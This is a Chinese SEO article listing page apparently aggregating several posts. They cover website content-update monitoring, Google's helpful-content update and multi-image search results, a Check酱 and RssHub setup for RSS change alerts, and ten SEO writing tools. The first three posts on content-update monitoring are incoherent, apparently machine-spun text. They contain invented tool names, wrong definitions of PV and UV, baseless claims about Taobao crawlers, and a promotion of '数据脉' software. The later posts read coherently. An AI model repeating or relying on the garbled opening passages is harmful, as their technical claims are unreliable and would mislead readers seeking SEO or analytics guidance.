
网站内容更新监控
网站内容更新监控、crm管理的软件我就不推荐啦!
网站优化 • 优采云 发表了文章 • 0 个评论 • 98 次浏览 • 2022-09-19 02:05
网站内容更新监控、crm管理的软件我就不推荐啦!原因一,老老实实用excel,专业的软件很多,会劳神费力。原因二,不想用就别选竞价软件,这年头不用竞价投放算法有的时候还过不去呢。关键词选择的,搜索量、热度、访客数都是很重要的参考维度。原因三,网站内容更新每天上百万,根本不存在没有更新情况。没准哪天全国人民都用起来了,你的网站算一下展现量,关键词多达几千个几万个,不更新怎么对得起自己打下的江山?。
不能用excel录入?什么?你用excel录入还不能掌握这个功能?这个时候我只想给你一个大大的微笑,这不是我们的产品,
你做电商方面的吗?现在这个趋势必须是excel操作更方便,你确定以后你的网站访客流量和店铺利润不需要跟公司一起分成?所以不是很建议用这样一个软件录入,
基于以上种种原因,完全可以用数据脉软件录入。操作简单,数据全面,功能齐全,不会降低账户质量,用网站成本更低,效果更高。如果你用excel写的操作不便,可以用数据脉账户研究系统写的自定义脚本,自动生成行为脚本、外链脚本、产品竞价脚本,修改时还可以多添加选项卡来灵活操作。
报表后台,免费模板,统计分析,关键词表,数据脉做任何事只要有数据, 查看全部
网站内容更新监控、crm管理的软件我就不推荐啦!
网站内容更新监控、crm管理的软件我就不推荐啦!原因一,老老实实用excel,专业的软件很多,会劳神费力。原因二,不想用就别选竞价软件,这年头不用竞价投放算法有的时候还过不去呢。关键词选择的,搜索量、热度、访客数都是很重要的参考维度。原因三,网站内容更新每天上百万,根本不存在没有更新情况。没准哪天全国人民都用起来了,你的网站算一下展现量,关键词多达几千个几万个,不更新怎么对得起自己打下的江山?。

不能用excel录入?什么?你用excel录入还不能掌握这个功能?这个时候我只想给你一个大大的微笑,这不是我们的产品,
你做电商方面的吗?现在这个趋势必须是excel操作更方便,你确定以后你的网站访客流量和店铺利润不需要跟公司一起分成?所以不是很建议用这样一个软件录入,

基于以上种种原因,完全可以用数据脉软件录入。操作简单,数据全面,功能齐全,不会降低账户质量,用网站成本更低,效果更高。如果你用excel写的操作不便,可以用数据脉账户研究系统写的自定义脚本,自动生成行为脚本、外链脚本、产品竞价脚本,修改时还可以多添加选项卡来灵活操作。
报表后台,免费模板,统计分析,关键词表,数据脉做任何事只要有数据,
网站内容更新监控是一个比较庞大的工程吗?
网站优化 • 优采云 发表了文章 • 0 个评论 • 61 次浏览 • 2022-09-16 00:02
网站内容更新监控是一个比较庞大的工程,因为涉及到很多复杂的可视化工具,建议你不要把这个做一个专业型的监控系统。现在一些专业网站的统计分析工具比如startactivity等,功能及其强大,用户可以轻松编写代码自定义api,并且也是google等公司倾力打造,我建议你学习这个。对于公司内部的技术团队来说,估计难度不太大。
网站内容更新监控,以为您最熟悉的应该是百度统计和阿里聚光第一步,可以对各种列表和网站页面数据进行关键词排名分析第二步,实现站内的pv(页面浏览量)和uv(页面访问量)分析,目前也有很多站点在此功能部署第三步,实现http请求量统计第四步,分析各种内容更新的具体数据第五步,回溯到上一步的数据与分析结果例如,某个页面的pv很低,但uv很高。可以看出有uv流量的pv没有加载到服务器,或者没有在用户下单时执行http请求获取数据。
你用过百度统计就知道whatispv,uv这些的profiling--ssid(profilingdata--ssid)都有了profilingdata就是用于ssid的重定向;并且,
去看看seouijob和seossp
正好去年11月底做了一个前台pv的分析,现在过去有半年了,抛砖引玉,有人感兴趣再来继续填坑。欢迎补充。某个商城内可能存在大量广告点击,这些点击可能来自多个页面,比如搜索框点击、鼠标滑动点击等等,分析这些点击里面的具体ip来源,并在搜索框中随机用点击前10和后10个数据测试。点击查询、入口来源、地区、商品id等等。
但是这样肯定会有一个漏洞,比如某个账号有意点击某个商品id,这些点击可能都是冲着商品id,但是查询每个入口,多个ip来源都是同一个商品id,此时如何找出冲着该商品id的就得经过实战来判断了。还可以监控某个账号发起的各种互动,比如输入url并成功,点击链接收藏存在对应的点击计数,但是并不能实时得知,这个功能就很有意思了,如果可以实时算得到,那么做成推荐系统就方便很多了。 查看全部
网站内容更新监控是一个比较庞大的工程吗?
网站内容更新监控是一个比较庞大的工程,因为涉及到很多复杂的可视化工具,建议你不要把这个做一个专业型的监控系统。现在一些专业网站的统计分析工具比如startactivity等,功能及其强大,用户可以轻松编写代码自定义api,并且也是google等公司倾力打造,我建议你学习这个。对于公司内部的技术团队来说,估计难度不太大。

网站内容更新监控,以为您最熟悉的应该是百度统计和阿里聚光第一步,可以对各种列表和网站页面数据进行关键词排名分析第二步,实现站内的pv(页面浏览量)和uv(页面访问量)分析,目前也有很多站点在此功能部署第三步,实现http请求量统计第四步,分析各种内容更新的具体数据第五步,回溯到上一步的数据与分析结果例如,某个页面的pv很低,但uv很高。可以看出有uv流量的pv没有加载到服务器,或者没有在用户下单时执行http请求获取数据。
你用过百度统计就知道whatispv,uv这些的profiling--ssid(profilingdata--ssid)都有了profilingdata就是用于ssid的重定向;并且,

去看看seouijob和seossp
正好去年11月底做了一个前台pv的分析,现在过去有半年了,抛砖引玉,有人感兴趣再来继续填坑。欢迎补充。某个商城内可能存在大量广告点击,这些点击可能来自多个页面,比如搜索框点击、鼠标滑动点击等等,分析这些点击里面的具体ip来源,并在搜索框中随机用点击前10和后10个数据测试。点击查询、入口来源、地区、商品id等等。
但是这样肯定会有一个漏洞,比如某个账号有意点击某个商品id,这些点击可能都是冲着商品id,但是查询每个入口,多个ip来源都是同一个商品id,此时如何找出冲着该商品id的就得经过实战来判断了。还可以监控某个账号发起的各种互动,比如输入url并成功,点击链接收藏存在对应的点击计数,但是并不能实时得知,这个功能就很有意思了,如果可以实时算得到,那么做成推荐系统就方便很多了。
网站内容更新监控的作用监控网站更新的异常应及时提醒
网站优化 • 优采云 发表了文章 • 0 个评论 • 108 次浏览 • 2022-09-12 05:01
网站内容更新监控的作用监控网站内容更新,如果发现异常应及时提醒。查询结果有如下几种:1.网站标准值2.机器人更新异常3.有人手动操作时,
因为投放广告,流量大的话一下子爬虫爬过去,大数据处理一下,再分析送回浏览器,就有刷新。
只是换个说法。但是这种换汤不换药的好处就是,方便大家改变目标。知道要去找什么。假如你要找相册,一下子爬过去,用户体验不好。
那是相册更新异常,
为了用户体验,大家习惯用监控的方式来管理网站内容更新。不过像你说的这种情况,我想说。这些监控技术本身设计来是为了保证url的一致性。有这个方法就可以了。无论更新的网站多少,总有改变url一致性。其实我觉得那有些麻烦了。有些产品是用来克服人性中弱点,并用来克服产品边界。我觉得这才是产品存在的价值。
这可以算是分布式爬虫吧,不过程序员一般都会学习和主动写前端吧,就像useragentauthority这个东西,模拟一下浏览器请求。
大家可以想想淘宝更新又没有登录啥的就发现是爬虫干的了
因为淘宝现在还是有短板,他的核心竞争力也不是ugc网站,好不容易做到世界上第一,这么大的市场怎么能让别人好好做呢,他需要一个东西来刷流量。毕竟淘宝之前还在借着巨无霸的市场地位自由竞争,现在你看到大家都要制霸中国,大家都要发展,这个短板就很明显了,所以需要一个比较聪明的聪明人来架设服务器来不停地自动爬取数据,爬到了知道是爬虫干的,就弃之可惜,找个理由说服用户来淘宝看看(想想也能想得通),数据已经分发给他了。
结论就是淘宝为什么会为了不干掉自己而不断去填坑,因为一旦干掉自己,马云的资本会瞬间被稀释(也就是怎么可能赚这么多钱呢)这种东西可能自己发明出来的也有,就是爬虫加个后端存储不断循环你懂的,有了第一个吃螃蟹的人大家都认为没有人可以制得过他。 查看全部
网站内容更新监控的作用监控网站更新的异常应及时提醒
网站内容更新监控的作用监控网站内容更新,如果发现异常应及时提醒。查询结果有如下几种:1.网站标准值2.机器人更新异常3.有人手动操作时,
因为投放广告,流量大的话一下子爬虫爬过去,大数据处理一下,再分析送回浏览器,就有刷新。

只是换个说法。但是这种换汤不换药的好处就是,方便大家改变目标。知道要去找什么。假如你要找相册,一下子爬过去,用户体验不好。
那是相册更新异常,
为了用户体验,大家习惯用监控的方式来管理网站内容更新。不过像你说的这种情况,我想说。这些监控技术本身设计来是为了保证url的一致性。有这个方法就可以了。无论更新的网站多少,总有改变url一致性。其实我觉得那有些麻烦了。有些产品是用来克服人性中弱点,并用来克服产品边界。我觉得这才是产品存在的价值。

这可以算是分布式爬虫吧,不过程序员一般都会学习和主动写前端吧,就像useragentauthority这个东西,模拟一下浏览器请求。
大家可以想想淘宝更新又没有登录啥的就发现是爬虫干的了
因为淘宝现在还是有短板,他的核心竞争力也不是ugc网站,好不容易做到世界上第一,这么大的市场怎么能让别人好好做呢,他需要一个东西来刷流量。毕竟淘宝之前还在借着巨无霸的市场地位自由竞争,现在你看到大家都要制霸中国,大家都要发展,这个短板就很明显了,所以需要一个比较聪明的聪明人来架设服务器来不停地自动爬取数据,爬到了知道是爬虫干的,就弃之可惜,找个理由说服用户来淘宝看看(想想也能想得通),数据已经分发给他了。
结论就是淘宝为什么会为了不干掉自己而不断去填坑,因为一旦干掉自己,马云的资本会瞬间被稀释(也就是怎么可能赚这么多钱呢)这种东西可能自己发明出来的也有,就是爬虫加个后端存储不断循环你懂的,有了第一个吃螃蟹的人大家都认为没有人可以制得过他。
Google 实用内容更新在发布中 目前影响不大|Google 多图结果的分析和
网站优化 • 优采云 发表了文章 • 0 个评论 • 101 次浏览 • 2022-09-05 08:33
Google 实用内容更新在发布中 目前影响不大
上篇文章在 19 日提到已经发布了,从 Google 的看是 8/25 推出,预计 2 周内上线完成。之前以为这个更新可能是本年度影响最大的一次更新,不过从几个排名监控工具来看,目前的影响并不明显(可能是还没完全上线?)。从 Twitter 上网友的反馈来看,也是只有少数人说有影响,大多数站长反馈都没明显变化。
以下是几个排名监控工具的截图情况:Algoroo
Semrush
Moz
我会继续监控实用内容更新的影响情况,如有情况会继续同步。
Google 多图结果的分析和建议
先声明,本部分内容主要是取自 Brodie Clark 的文章(/google-image-thumbnails/)。
Google 搜索结果中的缩略图结果越来越多,根据 Rank Ranger 的数据,缩略图结果出现在 40% 的桌面 SERP 和 65% 的移动 SERP 中。并且现在又出现了一种多图结果,就是一排有 5 张图片,类似轮播图,展示效果非常亮眼,也很吸引点击,如下图:
在本篇中 Brodie Clark 是国外的 SEO 专家,他对 Google 搜索结果上的多图缩略图结果做了分析,得到了网页要获得多图缩略图结果的 3 个条件,依次越来越基础,越来越难,下面是具体内容:
第一层条件 - 排名问题
第一层条件是排名,这是最简单,也最容易理解的。Brodie Clark 发现Google 一次最多只展示 4 个多图结果。所以,当网页出现在前 4 个多图排名中,才有机会展示多图结果;反之,当前面已经有 4 个多图结果时,即便其他条件符合,也无法有多图展示。如下图这个示例:
同样的关键词 「spice jars」,同样的 Etsy 的网页,在不同地理区域有 2 个排名。在左侧结果中,Etsy 网页在多图结果的第四位,所以顺利展示了多图结果。在右侧结果中,因为前面已经有了 4 个多图结果,所以同样的网页无法再展示多图结果,只能展示普通的文字结果。
第二层条件 - 预览问题
预览问题,主要就是通过特殊搜索命令,查看网页在这个关键词下是否获得了多图展示的资格。注:这个资格主要是 Google 进行判断后授予,只能通过这种指令来判断。
如上图,通过 「site 指令+ 目标关键词」,就可以查看某网页在这个关键词下是否具备多图展示的资格。上图的网页是具备这个资格的,所以只要排名在多图靠前位置,满足第一层条件,即可有多图展示。
而上图这个迪卡侬的网页很明显就是未获得多图展示的资格,主要问题出在第二层 - 预览问题上。你看其实这个网页上的一组图片已经被收录了。
第三层条件 - 图片收录
这一层是最基础的,如果这一层条件没满足,前面两层就不用谈了,那就是网页上是否有足够的图片被收录。其实也比较容易理解,就是这个网页如果要展示多图,那网页上多张图片必须要被收录。有一个检测方法就是用 site 指令在 Google 图片中搜索。如下图:
这个 footlocker 的网页通过搜索指令查看,并没有一张图片被收录,那不要说多图展示,连单个缩略图的展示都不会有。另外还需要特别注意的是,这种情况是出现在单个网页,还是整站。如果是单个网页那还算正常,如果整站都有图片收录的问题,那问题就比较严重了,因为会严重影响图片流量,以及整站网页的图片展示。如下图是之前 kmart 的例子,从搜索结果中发现前 10 个都没有任何图片,说明图片收录存在严重的问题。
影响因素和建议
影响图片收录和图片展示有哪些影响因素和建议呢,Brodie Clark 给了 7 点影响因素和建议:
JavaScript 是否影响图片抓取。虽然 Google 现在能识别 JS 中的内容,但有些网站的图片展示会依赖一些动作条件,比如鼠标滚动,这就会导致 Google 爬虫在抓取图片时无法识别。所以建议一定要用 GSC 的网址审查来查看爬虫环境下是否能抓取到图片。
图片相关性。如果有足够图片被收录,那图片相关性就很关键。跟网页主题更相关的图片,就会通过第二层条件,获取多图展示的资格。
图片质量。图片质量越高,其被收录的概率越大,就能满足条件三的收录基础。
ALT 文本。这是 SEO 的基础了,仍有一些网站有丢失。ALT 文本会帮助 Google 了解图片内容,对第二和第三个条件都有帮助。
商品名称。就是图片周围的文案描述,也可以帮助 Google 了解网页和图片的内容,并确定主题。
最好有超过 8 张图片。考虑到图片也有收录率问题,如果有超过 8 张图片,那按照 50% 收录率计算就有 4 张图片被收录,然后通过第三层条件。
图片顺序。将最相关、展示效果最佳的图片放在网页靠前位置可能是个因素。如果有多个图片跟产品不相关,也将失去展示的机会。
透明背景。当图片是透明背景时,在 Google 会变成黑色背景展示,对比度不佳,也会影响多图时的展示效果。
备注
原文链接: 查看全部
Google 实用内容更新在发布中 目前影响不大|Google 多图结果的分析和
Google 实用内容更新在发布中 目前影响不大
上篇文章在 19 日提到已经发布了,从 Google 的看是 8/25 推出,预计 2 周内上线完成。之前以为这个更新可能是本年度影响最大的一次更新,不过从几个排名监控工具来看,目前的影响并不明显(可能是还没完全上线?)。从 Twitter 上网友的反馈来看,也是只有少数人说有影响,大多数站长反馈都没明显变化。
以下是几个排名监控工具的截图情况:Algoroo
Semrush
Moz
我会继续监控实用内容更新的影响情况,如有情况会继续同步。
Google 多图结果的分析和建议
先声明,本部分内容主要是取自 Brodie Clark 的文章(/google-image-thumbnails/)。
Google 搜索结果中的缩略图结果越来越多,根据 Rank Ranger 的数据,缩略图结果出现在 40% 的桌面 SERP 和 65% 的移动 SERP 中。并且现在又出现了一种多图结果,就是一排有 5 张图片,类似轮播图,展示效果非常亮眼,也很吸引点击,如下图:

在本篇中 Brodie Clark 是国外的 SEO 专家,他对 Google 搜索结果上的多图缩略图结果做了分析,得到了网页要获得多图缩略图结果的 3 个条件,依次越来越基础,越来越难,下面是具体内容:
第一层条件 - 排名问题
第一层条件是排名,这是最简单,也最容易理解的。Brodie Clark 发现Google 一次最多只展示 4 个多图结果。所以,当网页出现在前 4 个多图排名中,才有机会展示多图结果;反之,当前面已经有 4 个多图结果时,即便其他条件符合,也无法有多图展示。如下图这个示例:
同样的关键词 「spice jars」,同样的 Etsy 的网页,在不同地理区域有 2 个排名。在左侧结果中,Etsy 网页在多图结果的第四位,所以顺利展示了多图结果。在右侧结果中,因为前面已经有了 4 个多图结果,所以同样的网页无法再展示多图结果,只能展示普通的文字结果。
第二层条件 - 预览问题
预览问题,主要就是通过特殊搜索命令,查看网页在这个关键词下是否获得了多图展示的资格。注:这个资格主要是 Google 进行判断后授予,只能通过这种指令来判断。
如上图,通过 「site 指令+ 目标关键词」,就可以查看某网页在这个关键词下是否具备多图展示的资格。上图的网页是具备这个资格的,所以只要排名在多图靠前位置,满足第一层条件,即可有多图展示。
而上图这个迪卡侬的网页很明显就是未获得多图展示的资格,主要问题出在第二层 - 预览问题上。你看其实这个网页上的一组图片已经被收录了。
第三层条件 - 图片收录
这一层是最基础的,如果这一层条件没满足,前面两层就不用谈了,那就是网页上是否有足够的图片被收录。其实也比较容易理解,就是这个网页如果要展示多图,那网页上多张图片必须要被收录。有一个检测方法就是用 site 指令在 Google 图片中搜索。如下图:

这个 footlocker 的网页通过搜索指令查看,并没有一张图片被收录,那不要说多图展示,连单个缩略图的展示都不会有。另外还需要特别注意的是,这种情况是出现在单个网页,还是整站。如果是单个网页那还算正常,如果整站都有图片收录的问题,那问题就比较严重了,因为会严重影响图片流量,以及整站网页的图片展示。如下图是之前 kmart 的例子,从搜索结果中发现前 10 个都没有任何图片,说明图片收录存在严重的问题。
影响因素和建议
影响图片收录和图片展示有哪些影响因素和建议呢,Brodie Clark 给了 7 点影响因素和建议:
JavaScript 是否影响图片抓取。虽然 Google 现在能识别 JS 中的内容,但有些网站的图片展示会依赖一些动作条件,比如鼠标滚动,这就会导致 Google 爬虫在抓取图片时无法识别。所以建议一定要用 GSC 的网址审查来查看爬虫环境下是否能抓取到图片。
图片相关性。如果有足够图片被收录,那图片相关性就很关键。跟网页主题更相关的图片,就会通过第二层条件,获取多图展示的资格。
图片质量。图片质量越高,其被收录的概率越大,就能满足条件三的收录基础。
ALT 文本。这是 SEO 的基础了,仍有一些网站有丢失。ALT 文本会帮助 Google 了解图片内容,对第二和第三个条件都有帮助。
商品名称。就是图片周围的文案描述,也可以帮助 Google 了解网页和图片的内容,并确定主题。
最好有超过 8 张图片。考虑到图片也有收录率问题,如果有超过 8 张图片,那按照 50% 收录率计算就有 4 张图片被收录,然后通过第三层条件。
图片顺序。将最相关、展示效果最佳的图片放在网页靠前位置可能是个因素。如果有多个图片跟产品不相关,也将失去展示的机会。
透明背景。当图片是透明背景时,在 Google 会变成黑色背景展示,对比度不佳,也会影响多图时的展示效果。
备注
原文链接:
网站内容更新监控,好的网站策划一定会对自己网站的内容进行监控和把控
网站优化 • 优采云 发表了文章 • 0 个评论 • 71 次浏览 • 2022-08-15 15:05
网站内容更新监控,好的网站策划一定会对自己网站的内容进行监控和把控,在前期就要对站内外的内容进行挖掘和定位,并且对内容进行处理控制。文章的生命力和传播性,好的策划更新一定能很好的展现,能够达到热门话题甚至国家级新闻事件的效果。
仅根据我们过去的经验,
建议去“seo之星”看看“何伯锋”的博客,他的运营理念值得学习,其实关键还是要坚持,坚持把“何伯锋”定位成一名it人员的榜样,他从博客起步,产生了非常大的影响,被很多编辑用作模仿对象,其实,做网站关键在于“坚持”,就像在微博上发展也差不多,不需要做什么风格,坚持更新原创,经典文章,价值链接就可以在粉丝中占据一席之地。
没有完美的网站,只有经过设计优化维护维护的网站。
同行的网站都看下,然后,一直向他们学习。
对于网站建设公司来说,首先网站要有一个“标签”,针对定位,也就是主体内容做的一个网站标识,针对网站大的类型和题材方向,做一个相对应的网站要素比如:产品型网站:卖什么的,方向就是卖产品;品牌型网站:卖什么的,就是卖什么的,差异化就是品牌。
何伯锋是中国创富时代网站优化团队教育培训高级讲师,是互联网营销品牌策划人,融合了顶级的网站排名传播营销技巧,提出的影响网站优化的七大原则, 查看全部
网站内容更新监控,好的网站策划一定会对自己网站的内容进行监控和把控
网站内容更新监控,好的网站策划一定会对自己网站的内容进行监控和把控,在前期就要对站内外的内容进行挖掘和定位,并且对内容进行处理控制。文章的生命力和传播性,好的策划更新一定能很好的展现,能够达到热门话题甚至国家级新闻事件的效果。
仅根据我们过去的经验,

建议去“seo之星”看看“何伯锋”的博客,他的运营理念值得学习,其实关键还是要坚持,坚持把“何伯锋”定位成一名it人员的榜样,他从博客起步,产生了非常大的影响,被很多编辑用作模仿对象,其实,做网站关键在于“坚持”,就像在微博上发展也差不多,不需要做什么风格,坚持更新原创,经典文章,价值链接就可以在粉丝中占据一席之地。
没有完美的网站,只有经过设计优化维护维护的网站。

同行的网站都看下,然后,一直向他们学习。
对于网站建设公司来说,首先网站要有一个“标签”,针对定位,也就是主体内容做的一个网站标识,针对网站大的类型和题材方向,做一个相对应的网站要素比如:产品型网站:卖什么的,方向就是卖产品;品牌型网站:卖什么的,就是卖什么的,差异化就是品牌。
何伯锋是中国创富时代网站优化团队教育培训高级讲师,是互联网营销品牌策划人,融合了顶级的网站排名传播营销技巧,提出的影响网站优化的七大原则,
利用check酱监控网页并生成rss
网站优化 • 优采云 发表了文章 • 0 个评论 • 407 次浏览 • 2022-08-14 02:10
背景
最近发现了一个很好玩的开源项目:Check酱。
它可以通过保存cookie的方式,监控任意网页上任意元素的变化。然后通过使用Server酱或webhook的方式,对这些元素的变化进行时时提醒。
部署Check酱实时监控
Check酱的本体是一个chrome插件,但如果只用插件的话,则只能在开机打开浏览器时进行监控。
好在官方提供了docker镜像,于是我首先使用Docker-compose的方式将其部署在我的服务器上。
于是,我用Check酱监控了b站up主的更新(主要是虽然b站有动态-投稿,可以只看关注的up主更新的视频,但等我发现这个功能时,我已经把2000个关注都点满了。。。),以及京东商品的价格,还有微信公众号的更新。
这边借用官方的图:
然后配置Server酱,将监控信息发送到钉钉机器人通道:
现在看起来一切都很完美,但很快我就发现cookie是有时效的,所以我隔几天就要去登录一下。这样显然就麻烦了。
万物皆可Rss
所以很快,我就发现了RssHub。
它是一个由广大网友共同编写规则,从而可以将大多数你想要的东西(包括那些不支持rss的)都变成rss订阅源的工具。
所以,现在的思路就从直接监控网页,变成了监控rss的变化。(因为一般的rss阅读器提醒不是那么及时,并且我又喜欢把app都冰冻锁起来,所以我需要一个可以在聊天软件里提醒我的功能)
当然,由于一些不可说的原因,rsshub的官方站在大陆使用会有点不顺畅。不过好在这依然是个开源软件,所以我们继续用docker部署在服务器上:
所以当前的架构就是这样:
我把网页的变化点做成rss发布,然后使用Check酱去监控rss的变化,一旦有变化就会通过Server酱向我的钉钉推送提醒;同时,我使用The Old Reader去订阅并管理我感兴趣的Rss源,这样当我的钉钉接收到提醒时,我就可以用安卓的FeedMe或网页端去查看更新的内容了,并且已读的条目也会双向同步到The Old Reader。
完美。
但。。。我老婆又向我提出了一个新的需求:她也想要去查看更新。。。
这个需求的麻烦点在于,我不想让她的已读动作影响到我。看似用两个The Old Reader账号就能解决,但这样我就需要每次修改订阅都要在两个账号同步修改,太麻烦了。。。
将监控动态发布成Rss
各种搜索解决方案,发现新版Check酱刚增加了一项功能,可以将监控的动态上传、发布成Rss。
简单说来就是:
当正常的php网站部署, 然后填上对应的rss_upload.php地址:
然后->“动态”, 点击"RSS“上传:
最后打开 即可:
rss_upload.php:
rss.php:
利用这个功能,我就可以把Check酱监控的动态发布成Rss源,这样不论给多少人订阅都不会相互干扰了,而且监控的条目也方便管理,不用多次反复添加修改了。
但是,大家肯定发现了一个问题,那就是Rss的上传是要手动触发的啊。那岂不是没有一点可用性?
幸好Check酱镜像支持了NoVNC,所以我通过NoVNC连接到服务器上部署的Check酱里,打开正在被自动化程序操控的浏览器,按F12进入开发者模式,在命令行中输入:
这段js代码,就可以让浏览器每隔10分钟,自动去点击一下上传按钮。关闭NoVNC也可以生效。
这下就全流程自动化了。
这是在iPhone的ReadOn软件上的效果:
这是在安卓的FeedMe软件上的效果: 查看全部
利用check酱监控网页并生成rss
背景
最近发现了一个很好玩的开源项目:Check酱。
它可以通过保存cookie的方式,监控任意网页上任意元素的变化。然后通过使用Server酱或webhook的方式,对这些元素的变化进行时时提醒。
部署Check酱实时监控
Check酱的本体是一个chrome插件,但如果只用插件的话,则只能在开机打开浏览器时进行监控。
好在官方提供了docker镜像,于是我首先使用Docker-compose的方式将其部署在我的服务器上。
于是,我用Check酱监控了b站up主的更新(主要是虽然b站有动态-投稿,可以只看关注的up主更新的视频,但等我发现这个功能时,我已经把2000个关注都点满了。。。),以及京东商品的价格,还有微信公众号的更新。
这边借用官方的图:
然后配置Server酱,将监控信息发送到钉钉机器人通道:
现在看起来一切都很完美,但很快我就发现cookie是有时效的,所以我隔几天就要去登录一下。这样显然就麻烦了。
万物皆可Rss

所以很快,我就发现了RssHub。
它是一个由广大网友共同编写规则,从而可以将大多数你想要的东西(包括那些不支持rss的)都变成rss订阅源的工具。
所以,现在的思路就从直接监控网页,变成了监控rss的变化。(因为一般的rss阅读器提醒不是那么及时,并且我又喜欢把app都冰冻锁起来,所以我需要一个可以在聊天软件里提醒我的功能)
当然,由于一些不可说的原因,rsshub的官方站在大陆使用会有点不顺畅。不过好在这依然是个开源软件,所以我们继续用docker部署在服务器上:
所以当前的架构就是这样:
我把网页的变化点做成rss发布,然后使用Check酱去监控rss的变化,一旦有变化就会通过Server酱向我的钉钉推送提醒;同时,我使用The Old Reader去订阅并管理我感兴趣的Rss源,这样当我的钉钉接收到提醒时,我就可以用安卓的FeedMe或网页端去查看更新的内容了,并且已读的条目也会双向同步到The Old Reader。
完美。
但。。。我老婆又向我提出了一个新的需求:她也想要去查看更新。。。
这个需求的麻烦点在于,我不想让她的已读动作影响到我。看似用两个The Old Reader账号就能解决,但这样我就需要每次修改订阅都要在两个账号同步修改,太麻烦了。。。
将监控动态发布成Rss
各种搜索解决方案,发现新版Check酱刚增加了一项功能,可以将监控的动态上传、发布成Rss。
简单说来就是:
当正常的php网站部署, 然后填上对应的rss_upload.php地址:
然后->“动态”, 点击"RSS“上传:

最后打开 即可:
rss_upload.php:
rss.php:
利用这个功能,我就可以把Check酱监控的动态发布成Rss源,这样不论给多少人订阅都不会相互干扰了,而且监控的条目也方便管理,不用多次反复添加修改了。
但是,大家肯定发现了一个问题,那就是Rss的上传是要手动触发的啊。那岂不是没有一点可用性?
幸好Check酱镜像支持了NoVNC,所以我通过NoVNC连接到服务器上部署的Check酱里,打开正在被自动化程序操控的浏览器,按F12进入开发者模式,在命令行中输入:
这段js代码,就可以让浏览器每隔10分钟,自动去点击一下上传按钮。关闭NoVNC也可以生效。
这下就全流程自动化了。
这是在iPhone的ReadOn软件上的效果:
这是在安卓的FeedMe软件上的效果:
10款常用的SEO内容创作工具
网站优化 • 优采云 发表了文章 • 0 个评论 • 110 次浏览 • 2022-08-14 02:10
谷歌使用含有数百个加权因子的复杂算法,根据给定网页与给定关键词的相关性,对网页进行索引和排名。数字营销人员则通过实证测试试图弄清这个复杂算法背后的原理,并采用特定的方法来提高网页在搜索结果页中的排名,这一过程被叫做搜索引擎优化(SEO),这是数字营销人员必须掌握的重要技能。
如果没有优质SEO内容工具,优化网页内容将是一项冗长乏味的工作。为了帮助您节省大量时间和劳动力,本为会为您推荐10个最佳SEO内容创作工具,这些工具适用于内容创作过程的不同阶段。
1. Google Search Console
价格:网站所有者可免费使用
作用:Google Search Console是谷歌自己的工具,能够帮助提高网站在搜索引擎结果页面中的排名。它包括网站性能监视工具,页面加载时间监视工具。您还可以监控您的网站在Google搜索结果中的排名,了解哪些页面是针对特定关键词进行排名的。您还可以查看网页在搜索结果页面的展示次数和点击次数。它帮助您确定该优化哪些内容,以及接下来该定位哪些关键词。
2. Google Keyword Planner
价格:拥有Google Ads账户的人均可免费使用
作用:Google Keyword Planner是进行基本的关键词研究的最佳免费工具之一。您可以 1)发现新关键词:输入任何关键词来查看与其类似的关键词列表,以及它们的搜索量和相关指标,使得你很容易找到新的关键字优化目标;2)预测关键词趋势:监控趋势,以发现流行的搜索关键词。Kenny觉得这个工具只适合做SEM的小伙伴,如果你是做SEO的,那查找到的关键词数据不适合SEO。
3. WordStream
价格:免费
作用:WordStream 提供了一个精简版的Google Keyword Planner,它是免费的,易于使用。只需输入您选择的关键词,选择一个行业,并输入您的位置,然后单击Email All My Keywords按钮,您就可以获得关键词列表和它们在Google和Bing上的搜索量,以及每个关键词的平均每次点击成本(CPC)
4. SEMrush
价格:部分功能免费,订阅制99.95美元/月
作用:SEMrush 是最流行的工具之一,适用于所有类型的数字营销人员。它包含40多种不同的工具,可以帮助进行SEO、PPC和社交媒体管理。营销人员可以使用SEMrush分析反向链接、进行关键词研究、分析自己或竞争对手的网站性能和流量,并发现新的市场和机会。SEMrush还有一个SEO审计程序,可以帮助解决网站SEO的一些技术问题。
5. BuzzSumo
价格:79美元/月
作用:BuzzSumo帮助营销人员有效分析网站内容,同时紧跟热门趋势。BuzzSumo能够找到用户在不同平台上最喜欢分享的内容。只需要输入网站链接,就能查看什么是该网站最热门的内容。您还可以分析过去一天内,一个月内以及一年内的趋势,并且按照作者或者平台过滤。
6. Answer the Public
价格:每天3次免费使用,无限使用99美元/月
作用:输入某一关键词,您可以查找到任何与之相联系的关键词,并获得可视化报告。这些关键字以您输入的关键词为中心,形成一个网状结构,展示它们之间的联系。借助Answer the Public,营销人员可以撰写针对性强的文章,使网页更有可能出现在Google Snippets中。
7. Yoast SEO
价格:基础版免费,高级版89美元/月
作用:Yoast SEO是一个WordPress插件。它可在您使用WordPress优化博客文章时,为您提供实时反馈,提供改进建议。它类似一个清单工具,实时告诉你撰写网站博文时还可以做哪些事来优化SEO。
8. Keyword Density Checker
价格:每月500次使用限制,如需解锁更多使用次数,可购买50美元/年的高级版
作用:关键字密度(Keyword density)是谷歌等搜索引擎用来对网页进行排名的重要因素。您应该确保目标关键词在每篇文章中被提到足够多的次数,同时还不能滥用关键词。keyword density checker可以计算出每个关键词在您的文章中被提及的次数。只要复制粘贴文本,您就能知道文章中出现频率最高的关键词列表。对于大多数内容而言,目标关键字的密度最好在2%到5%。
9. Read-Able
价格:免费版可供使用,付费版4美元/月
作用:据统计,北美人的平均阅读水平在八年级左右。因此,如果北美人是您的目标受众,您应该撰写清晰易懂的句子和文章。如果您的目标受众受过大学教育,则可以使用较长的单词和复杂的句子。Read-able帮助您将文章写作水平与目标受众的阅读水平相匹配,为读者提供最佳体验。它提供阅读水平检查,语法和拼写检查等功能。
10. Grammarly Premium
价格:11.66美元/月
作用:搜索引擎将网站的拼写和语法纳入排名范围。如果网站内容包含许多拼写错误,它就不太可能获得一个高排名。Grammarly可以轻松创建语法正确且没有拼写错误的内容。您可以将Grammarly作为插件添加到浏览器,并在撰写电子邮件、社交媒体更新或博客文章时使用它。
从关键词研究到拼写检查和语法纠正,这10种工具涵盖了网站内容创建的每一个步骤。我们希望您在为网站编写内容时,可以使用其中一部分工具来节省时间和精力。如果您在实操上遇到困难,或者需要专业的咨询服务,一个专业的数字营销团队正是您需要的!Ara Analytics有丰富的搜索引擎优化经验,欢迎联系我们,我们将为您提供定制化的专业服务。 查看全部
10款常用的SEO内容创作工具
